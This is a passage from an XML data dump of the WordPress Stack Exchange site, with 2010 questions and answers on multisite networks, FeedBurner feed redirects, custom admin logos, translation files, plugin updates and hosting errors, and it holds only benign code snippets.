group&quot; .X can able to use it as his own blog network and he can let others to create blogs same as me.So I still  have control on that child network and at the same time X acts as super admin for the blog network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic purpose of the wp-multi-network plugin is the same.Presently one cannot able to set signup functionality to child networks .But Admin of child netoworks as well as the super admin can create sub-sites under child networks from their &lt;strong&gt;dashboards&lt;/strong&gt; .&#xA;       So this a multisite can be used as network of networks .&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2010-08-28T05:18:39.747" LastActivityDate="2010-08-28T05:18:39.747" CommunityOwnedDate="2010-08-28T04:20:04.633" Title="Does any one have Idea to get these functionalities with the plugin wp-multi-network" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;3.0.1&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="921" PostTypeId="1" AcceptedAnswerId="922" CreationDate="2010-08-26T04:06:51.893" Score="0" ViewCount="363" Body="&lt;p&gt;How to disable Wordpress.com default feed and use feedburner feed in place of that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In self-hosted wordpress site I know how to do but don't know to how in free wordpress.com site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tiny.cc/n6pcc&quot; rel=&quot;nofollow&quot;&gt;http://tiny.cc/n6pcc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WtzhP.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Ap1uB.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-26T16:30:42.847" LastActivityDate="2010-08-27T01:37:02.163" Title="How to disable Wordpress.com default feed and use feedburner feed in place of that?" Tags="&lt;wordpress.com&gt;&lt;rss&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="922" PostTypeId="2" ParentId="921" CreationDate="2010-08-26T04:37:55.697" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can not disable the default WordPress.com feed but you have an option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the css upgrade, add &lt;code&gt;#feedarea {display:none;}&lt;/code&gt; to remove the default links.   Use the feedburner widget code and add it to a text widget. Assign a class to it and using css absolute positioning move it to where the default links were.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Original Answer below only applies to self hosted WordPress&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Claim your feed URLs at &lt;a href=&quot;http://feedburner.google.com/fb/a/myfeeds&quot; rel=&quot;nofollow&quot;&gt;Feedburner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add this to your .htaccess under #END WORDPRESS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /(feed|wp-atom|wp-feed|wp-rss|wp-rdf|wp-commentsrss)(.+)\ HTTP/ [NC,OR]&#xA;RewriteCond %{QUERY_STRING} ^feed [NC]&#xA;RewriteCond %{HTTP_USER_AGENT} !^(FeedBurner|FeedValidator) [NC]&#xA;RewriteRule .* &lt;a href=&quot;http://feeds.feedburner.com/YourFeedburnerURL&quot; rel=&quot;nofollow&quot;&gt;http://feeds.feedburner.com/YourFeedburnerURL&lt;/a&gt;? [R=307,L]&#xA;RewriteRule ^comments/?.*$ &lt;a href=&quot;http://feeds.feedburner.com/YourFeedburnerCommentsURL&quot; rel=&quot;nofollow&quot;&gt;http://feeds.feedburner.com/YourFeedburnerCommentsURL&lt;/a&gt; [L,R=302]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-08-26T06:48:03.537" LastActivityDate="2010-08-26T06:48:03.537" CommentCount="7" />
  <row Id="923" PostTypeId="1" CreationDate="2010-08-26T05:28:34.620" Score="1" ViewCount="120" Body="&lt;p&gt;Is there a plugin where you can upload image &quot;logo&quot; for use in the site's theme rather than the admin area?&lt;/p&gt;&#xA;" OwnerUserId="420" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-26T12:57:19.900" LastActivityDate="2010-08-31T20:51:50.893" Title="Plugins for logo in wp themes?" Tags="&lt;plugins&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="924" PostTypeId="2" ParentId="561" CreationDate="2010-08-26T07:47:05.167" Score="1" ViewCount="" Body="&lt;p&gt;If you're using the &lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/#wp-dbmanager&quot; rel=&quot;nofollow&quot;&gt;WP-DB Manager plugin&lt;/a&gt;, go into its options and create a backup manually. If this fails, inspect the error message and try to figure out what might be going wrong. If you can't figure it out, post the error message here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the manual backup goes fine, there's probably an error with the e-mail setup. Check all the e-mail settings and ensure that they are correct. What e-mail provider are you using to send the e-mails (what SMTP server)? What e-mail provider are you using to receive the e-mails (what POP3 og IMAP server)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using WP-DB Manager, we need to know how you're doing these backups and all the information you've been asked to provide by me and the others.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2010-08-26T07:47:05.167" />
  <row Id="925" PostTypeId="2" ParentId="715" CreationDate="2010-08-26T08:19:50.203" Score="7" ViewCount="" Body="&lt;h2&gt;Import / Export Plugin Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's not that common across plugins, but if your plugin has (some) settings, it &lt;em&gt;should&lt;/em&gt; &lt;strong&gt;provide Import / Export of data like configuration and user input&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Import/Export improves the usability of a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example-plugin that has such an import and export functionality (and as well an undo mechanism) is &lt;a href=&quot;http://wordpress.org/extend/plugins/breadcrumb-navxt/&quot; rel=&quot;nofollow&quot;&gt;Breadcrumb NavXT (Wordpress Plugin)&lt;/a&gt; (full disclosure: some little code by me in there, most has been done by mtekk).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/716#716&quot;&gt;Uninstall should remove all plugin's data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/717#717&quot;&gt;Deactivation should not provoke Data-Loss&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-26T08:19:50.203" CommunityOwnedDate="2010-08-26T08:19:50.203" />
  <row Id="926" PostTypeId="2" ParentId="921" CreationDate="2010-08-26T08:27:14.180" Score="0" ViewCount="" Body="&lt;p&gt;Your question is about wordpress.com, a webapplication hosting service that is using the wordpress software &lt;em&gt;but&lt;/em&gt; wordpress.com is not fully in the scope of my answers on this Q&amp;amp;A site, because I don't have access to do administration and support on wordpress.com normally and therefore I'm not able to answer it with the same level of technical detail I can offer for the wordpress blogging software that can be freely downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please ask your question to &lt;a href=&quot;http://en.support.wordpress.com/contact/&quot; rel=&quot;nofollow&quot;&gt;wordpress.com support&lt;/a&gt;. In case that does not help you much, there is also a Q&amp;amp;A site dedicated to hosted web-applications (like but not exclusively wordpress.com): &lt;a href=&quot;http://webapps.stackexchange.com/&quot;&gt;Web Applications Stack Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope at least this information is somehow helpful.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-27T01:37:02.163" LastActivityDate="2010-08-27T01:37:02.163" CommentCount="3" />
  <row Id="927" PostTypeId="2" ParentId="920" CreationDate="2010-08-26T09:25:26.950" Score="1" ViewCount="" Body="&lt;p&gt;I suggest you start over with that in the Wordpress &lt;a href=&quot;http://wordpress.org/tags/wp-multi-network?forum_id=10&quot; rel=&quot;nofollow&quot;&gt;Support Forums of the WP Multi Network Plugin&lt;/a&gt;. I can only suggest this because I do not have any special experience with that plugin and I assume that it has DNS implications for the hosts you'd like to use it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you might want to make your question more clear and tell more about the setup you're running (Server, Services, DNS and so on). Which steps did you have already done and the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But probably you find your answer already in that forum.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-26T09:25:26.950" CommentCount="2" />
  <row Id="928" PostTypeId="1" AcceptedAnswerId="934" CreationDate="2010-08-26T10:13:41.820" Score="2" ViewCount="114" Body="&lt;p&gt;I've changed a file &lt;code&gt;wp-content/languages/pl_PL.po&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#: bfa_header.php&#xA;msgid &quot;notice&quot;&#xA;msgstr &quot;napis&quot;&#xA;&#xA;msgid &quot;Online Information Website&quot;&#xA;msgstr &quot;Internetowy Portal Informacyjny&quot;&#xA;&#xA;msgid &quot;something&quot;&#xA;msgstr &quot;coś&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added the second pair. It works for another language, but doesn't work for this one. All other messages are working. What might be the problem?&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-08-27T13:26:29.777" Title="One of the messages in .po file doesn't show up" Tags="&lt;multi-language&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="929" PostTypeId="2" ParentId="917" CreationDate="2010-08-26T12:18:36.457" Score="2" ViewCount="" Body="&lt;p&gt;Integration is a topic at large. There are many strategies on how to combine multiple webapplications under one site-design and URL-layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This normally means you have to make up your mind first on how to combine and integrate the applications. Normally app exists next to each other sharing a menu, header and a footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For security reasons it's important that the different webapplications do not share the same database and webspace. Otherwise things like a security breach in one of the applications can be used to attack the full site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some applications even deliver integration modules for wordpress, I once had a gallery app that was able to hook inside my wordpress theme. But integrational work is nothing click-ready so to say, you're bulding a website with multiple apps.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-26T12:18:36.457" CommunityOwnedDate="2010-08-26T12:18:36.457" CommentCount="2" />
  <row Id="930" PostTypeId="1" CreationDate="2010-08-26T12:26:52.450" Score="1" ViewCount="107" Body="&lt;p&gt;We're looking for a plugin which lets a user upload files in the admin UI, categorise them and then output a nice categorised list on a page with a sidebar widget to show new downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've spent a fair while googling and not come up with much.  This one says it should do what we want, but doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/downloads-manager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/downloads-manager/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2010-08-27T12:24:45.967" Title="Downloads manager plugin" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="931" PostTypeId="2" ParentId="923" CreationDate="2010-08-26T12:56:38.387" Score="1" ViewCount="" Body="&lt;p&gt;No, not really. This wouldn't be a plugin since every theme is different. Some themes have this functionality built in, though.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-26T12:56:38.387" CommentCount="1" />
  <row Id="932" PostTypeId="2" ParentId="923" CreationDate="2010-08-26T14:00:02.550" Score="0" ViewCount="" Body="&lt;p&gt;There's no plugin that I know ofof, but you could add this code to your functions.php file, and it would accomplish what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add a custom logo to the admin pages.  Image _MUST_ be 30x31, located in the theme images folder and named 'admin-logo.gif'.&#xA;function admin_logo() {&#xA;    $logo = dirname(__FILE__).'/images/admin-logo.gif';&#xA;    $logourl = get_bloginfo('template_directory').'/images/admin-logo.gif';&#xA;&#xA;    if (file_exists($logo)) {&#xA;        echo '&#xA;            &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;                #header-logo { background-image: url('.$logourl.') !important; }&#xA;            &amp;lt;/style&amp;gt;&#xA;        ';&#xA;    }&#xA;}&#xA;&#xA;add_action('admin_head', 'admin_logo');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function will check the images folder in your theme for a file named admin-logo.gif, and if found will add a CSS call to the page header to replace the stock WP logo.  As mentioned in the comment, the image &lt;strong&gt;MUST&lt;/strong&gt; be 30x31 pixels.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-26T14:00:02.550" />
  <row Id="933" PostTypeId="1" AcceptedAnswerId="942" CreationDate="2010-08-26T14:00:57.553" Score="0" ViewCount="83" Body="&lt;p&gt;Is it possible to get your wordpress site to upgrade itself automatically. What I mean is, when plugins etc. needs to be upgraded, can you just press a button, or have a cron job, download the new update and handle whatever else is needed, so your wordpress site always is up to date?&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="94" LastEditorDisplayName="" LastEditDate="2010-09-06T12:12:10.450" LastActivityDate="2010-09-06T12:12:10.450" Title="Plugin for automated upgrade of WordPress core and it's plugins?" Tags="&lt;updates&gt;&lt;cron&gt;&lt;automate&gt;" AnswerCount="3" />
  <row Id="934" PostTypeId="2" ParentId="928" CreationDate="2010-08-26T14:04:28.997" Score="2" ViewCount="" Body="&lt;p&gt;Looks like you may not be able to just add a pair to your .po file, without first adding it to the wordpress.pot file: &lt;a href=&quot;http://codex.wordpress.org/Translating_WordPress#gettext_files&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Translating_WordPress#gettext_files&lt;/a&gt;. You'll also need to compile your .po file into a .mo (Machine Object) file in order for your changes to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not certain that will work, but it should be a good start.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-27T13:26:29.777" LastActivityDate="2010-08-27T13:26:29.777" CommentCount="2" />
  <row Id="935" PostTypeId="2" ParentId="933" CreationDate="2010-08-26T14:10:03.213" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;when plugins etc. needs to be upgraded, can you just press a button&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes.&lt;/strong&gt; WordPress supports one-click upgrading for plugins, themes, and WordPress itself.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-26T14:10:03.213" CommentCount="1" />
  <row Id="936" PostTypeId="2" ParentId="930" CreationDate="2010-08-26T14:52:39.357" Score="1" ViewCount="" Body="&lt;p&gt;I've used a plug-in called &lt;a href=&quot;http://code.google.com/p/wp-publications-archive/&quot; rel=&quot;nofollow&quot;&gt;Publications Archive&lt;/a&gt; to do much of that.  The only thing it won't do is output a sidebar widget to show new downloads, but otherwise you can upload via the admin UI, categorize uploads, and create a nice, structured and styled list on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you read the &lt;a href=&quot;http://code.google.com/p/wp-publications-archive/issues/list&quot; rel=&quot;nofollow&quot;&gt;issues&lt;/a&gt; page to track down and fix any bugs.  The plug-in hasn't been officially supported for some time, so there might be a few tweaks here and there that you'll need to do to get it to work.  Eventually I'll get around to re-writing the system to use custom post types ... but that's several months in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example of the page output &lt;a href=&quot;http://somersetchristian.org/sermons/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  Like I said, you can have a structured, stylized list of the documents, files, etc that you've uploaded.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-26T14:52:39.357" />
  <row Id="937" PostTypeId="2" ParentId="879" CreationDate="2010-08-26T14:58:06.737" Score="0" ViewCount="" Body="&lt;p&gt;Thanks everyone. Did some more digging and found a 'better' way to get it working (Google makes it hard to get their damn Earth Tours embedded, and their gadget doesn't work). I ended up making a plugin that uses a combination of a shortcode and a custom field.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-08-26T14:58:06.737" CommentCount="4" />
  <row Id="938" PostTypeId="1" CreationDate="2010-08-26T15:34:06.853" Score="1" ViewCount="181" Body="&lt;p&gt;(@mikeschinkel: Before edit title was: &lt;em&gt;is there a plugin/set of plugins for providing subscription to digital assets on an individual or large scale?&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to set up a site where a substantial amount of PDFs will be sold both individually and a subscription will be sold to a library - so anyone from that library can visit the site without a paywall (so, based on IP). does anything exist for wordpress like this? bonus points if its free/open-source and not paid...&lt;/p&gt;&#xA;" OwnerUserId="426" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-26T19:23:49.530" LastActivityDate="2010-09-08T21:50:31.923" Title="Plugins to Enable Subscriptions of Digital Assets?" Tags="&lt;paypal&gt;&lt;subscription&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="939" PostTypeId="1" AcceptedAnswerId="941" CreationDate="2010-08-26T16:12:18.157" Score="2" ViewCount="385" Body="&lt;p&gt;What are the differences between using &lt;code&gt;WP_Query()&lt;/code&gt; and &lt;code&gt;get_posts()&lt;/code&gt;? Which is better to use in what case and why?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-26T18:58:29.863" LastActivityDate="2010-08-26T18:58:29.863" Title="Differences Between WP_Query() and get_posts() for Querying Posts?" Tags="&lt;performance&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="940" PostTypeId="1" CreationDate="2010-08-26T16:24:55.873" Score="0" ViewCount="259" Body="&lt;p&gt;Have a wordpress site on godaddy hosting. Getting intermittent 500 internal service errors. Tried editing permissions and .htaccess but the problem still abounds. Anyone else have similar issues that you've solved?&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-26T18:25:25.187" LastActivityDate="2010-08-27T21:59:40.377" Title="Resolving a 500 Error with GoDaddy Hosting?" Tags="&lt;errors&gt;&lt;hosting&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="941" PostTypeId="2" ParentId="939" CreationDate="2010-08-26T16:30:27.463" Score="2" ViewCount="" Body="&lt;p&gt;Well, &lt;code&gt;get_posts()&lt;/code&gt; actually instantiates a new &lt;code&gt;WP_Query&lt;/code&gt; object, so if you're comfortable using &lt;code&gt;WP_Query&lt;/code&gt; directly, don't even bother with &lt;code&gt;get_posts()&lt;/code&gt;; &lt;code&gt;get_posts&lt;/code&gt; will only return the results from the database, whereas &lt;code&gt;WP_Query&lt;/code&gt; gives you the whole functionality of the class.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-26T16:30:27.463" />
  <row Id="942" PostTypeId="2" ParentId="933" CreationDate="2010-08-26T17:06:23.997" Score="2" ViewCount="" Body="&lt;p&gt;If you're using the most recent version of WordPress, there are two ways you can update your plugins by just clicking a button (OK, maybe a couple, but it's still really easy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &lt;em&gt;Dashboard&lt;/em&gt; in your WP admin, there will an &lt;em&gt;Updates&lt;/em&gt; option. Click on that and you should see something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ZdcLT.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose &lt;em&gt;Select All&lt;/em&gt; and then click &lt;em&gt;Update Plugins&lt;/em&gt; and the system will do it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would advise against updating plugins totally automatically (as in without clicking any buttons yourself). It's important to check out the change log on the plugin's page and also its compatability with whatever version of WP you're running. For example, if you're running  2.8 you might upgrade automatically without checking only to find out that the latest version of the plugin isn't backward compatible with your WP install and requires WP 3.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way to update your plugins is to go to the Plugins page in the admin, sort by &lt;em&gt;Upgrade Available&lt;/em&gt;, check the plugins compatibility and change log, select &lt;em&gt;Upgrade Automatically&lt;/em&gt; and then reactivate the plugin when the process is done upgrading the plugin.  &lt;/p&gt;&#xA;" OwnerUserId="399" LastActivityDate="2010-08-26T17:06:23.997" />
  <row Id="943" PostTypeId="2" ParentId="939" CreationDate="2010-08-26T17:09:57.283" Score="1" ViewCount="" Body="&lt;p&gt;In addition to what John P Bloch says, you can modify the default WP_Query object (instead of creating an new instance) before it runs with it's class methods and an action hook, reducing the db calls you make.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-26T17:09:57.283" />
  <row Id="944" PostTypeId="1" AcceptedAnswerId="945" CreationDate="2010-08-26T17:47:41.530" Score="1" ViewCount="312" Body="&lt;p&gt;I've got a subdirectory in which I'd like to implement a completely different theme for my site (basically, its a sales letter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to do that? Do I need to install a separate copy of wordpress in the subdirectory?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-26T18:43:07.460" LastActivityDate="2010-09-11T16:10:49.443" Title="Using Multiple Themes in a Single WordPress Site?" Tags="&lt;themes&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="945" PostTypeId="2" ParentId="944" CreationDate="2010-08-26T18:10:31.623" Score="3" ViewCount="" Body="&lt;p&gt;To slightly sidestep your actual question, the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Visual_Overview&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt; allows you to have a custom handler for any post ID, category, taxonomy term, etc. That may be the quickest way to solve your problem: just create a template file that stands on its own and only serves request to one post (or category, or however the sales letter(s) are identified).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to call &lt;code&gt;get_header()&lt;/code&gt;, &lt;code&gt;get_footer()&lt;/code&gt; or any of the other template functions, so you're free to have a completely different page structure for a single post on your site.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-26T18:10:31.623" CommentCount="5" />
  <row Id="946" PostTypeId="2" ParentId="894" CreationDate="2010-08-26T18:18:22.893" Score="2" ViewCount="" Body="&lt;p&gt;you can use something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function feed_magic_fields( $content ) {&#xA;  global $post, $id;&#xA;&#xA;  if ( !is_feed() )&#xA;    return $content;&#xA;&#xA;  // is feed&#xA;  $date = get('date_event');&#xA;  if( $date)&#xA;    $content .= $date&#xA;&#xA;  return $content; &#xA;}&#xA;&#xA;add_filter( 'the_content', 'feed_magic_fields' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="357" LastActivityDate="2010-08-26T18:18:22.893" CommentCount="1" />
  <row Id="947" PostTypeId="2" ParentId="594" CreationDate="2010-08-26T18:29:42.620" Score="2" ViewCount="" Body="&lt;p&gt;A few weeks ago I added a feature similar to magic fields (magicfields.org). You can watch the video &lt;a href=&quot;http://bit.ly/bhgmLy&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/bhgmLy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the commits github.com/hunk/Magic-Fields/commits/ (2010-07-11)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the most important thing is in this file js/custom_fields/media_image.js&lt;/p&gt;&#xA;" OwnerUserId="357" LastEditorUserId="357" LastEditorDisplayName="" LastEditDate="2010-08-26T22:53:03.167" LastActivityDate="2010-08-26T22:53:03.167" />
  <row Id="948" PostTypeId="2" ParentId="940" CreationDate="2010-08-26T18:38:16.503" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@lathomas64&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It's very hard to diagnose an &lt;em&gt;intermittent&lt;/em&gt; 500 error&lt;/strong&gt;. If you always get a 500 that would be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be getting the error when the internal communications between the web server and the MySQL database server have a high level of latency, especially if you have added lots of plugins.  You might &lt;strong&gt;try disabling each plugin&lt;/strong&gt; and allowing it to run for a reasonable enough time to determine if it were the culprit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTOH, you might follow @John P Bloch's advice and just switch hosts. Ironically today there was the following message posted to a &lt;a href=&quot;http://www.linkedin.com/groupAnswers?viewQuestionAndAnswers=&amp;amp;discussionID=21311464&amp;amp;gid=154024&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;long running thread&lt;/strong&gt;&lt;/a&gt; on the &lt;a href=&quot;http://www.linkedin.com/groups?gid=154024&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;LinkedIn WordPress group&lt;/strong&gt;&lt;/a&gt; about web hosts where &lt;strong&gt;most people are giving GoDaddy a very big thumbs down&lt;/strong&gt;. Here is that post:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hi. i seemed to have wandered into a&#xA;  morass... i became a godaddy reseller&#xA;  so i could offer a one-stop shop for&#xA;  my website clients. so now i have a&#xA;  bunch of clients on godaddy and, as&#xA;  it's be often said here, the&#xA;  performance sucks. i have to say that&#xA;  pricing, support and functionality&#xA;  with godaddy has been great but even&#xA;  with wp super cache, i get&#xA;  timeouts/resets etc. ive called and&#xA;  asked the tech folks at godaddy about&#xA;  it but they deny any issue so there is&#xA;  sit.... &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;at my wp meetup last night,&#xA;  one of my colleagues suggested&#xA;  hostgator as a host and as the place&#xA;  is should resell. so....i'll do my due&#xA;  diligence and let you know what i find&#xA;  and if i move. wish me luck!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;Posted by Michael Loewenberg&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And this from someone else on the thread:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've been around the block with lots&#xA;  of hosting companies (BlueHost,&#xA;  TotalChoice Hosting, SurpassHosting,&#xA;  DreamHost, GoDaddy, MediaTemple,&#xA;  HostGator, etc.) and first of all I&#xA;  like to have sites spread out among&#xA;  several hosts in case one goes does&#xA;  down--and they all have downtime. But&#xA;  through the years (and downtimes, and&#xA;  client calls, and fires in server&#xA;  rooms, you name it), I've come to find&#xA;  HostGator to be the fastest WordPress&#xA;  hosting I've experienced. Granted, I'm&#xA;  talking about reseller hosting and&#xA;  shared hosting environments, but it's&#xA;  just zippy speedy. I like that they&#xA;  have real people who answer the phone&#xA;  and they have cPanel and WHM and&#xA;  standards that everyone knows and lets&#xA;  me--and my clients--do things&#xA;  efficiently and easily (backups, FTP,&#xA;  PHP MyAdmin, etc.). Another cool thing&#xA;  they do is transfers up to 30 websites&#xA;  from your old host to your new host&#xA;  (for a reseller account). For a shared&#xA;  plan, they'll move that from your old&#xA;  host to them, too. Pretty cool as&#xA;  moving sites can be time consuming.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;Posted by Bradley Charbonneau&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, &lt;strong&gt;maybe a hosting switch is in order?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-26T18:38:16.503" CommentCount="4" />
  <row Id="949" PostTypeId="2" ParentId="933" CreationDate="2010-08-26T18:46:58.670" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@googletorp&lt;/strong&gt; - I believe it would be possible to code a plugin to do what you ask, but the likelihood it would cause your site to crash gets more likely the more plugins you have. Better to update the site and plugins yourself and see it crash if it is going to do so than to have it auto-update and crash, and then not know for hours or days that it has crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that, would you still want this?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-26T18:46:58.670" />
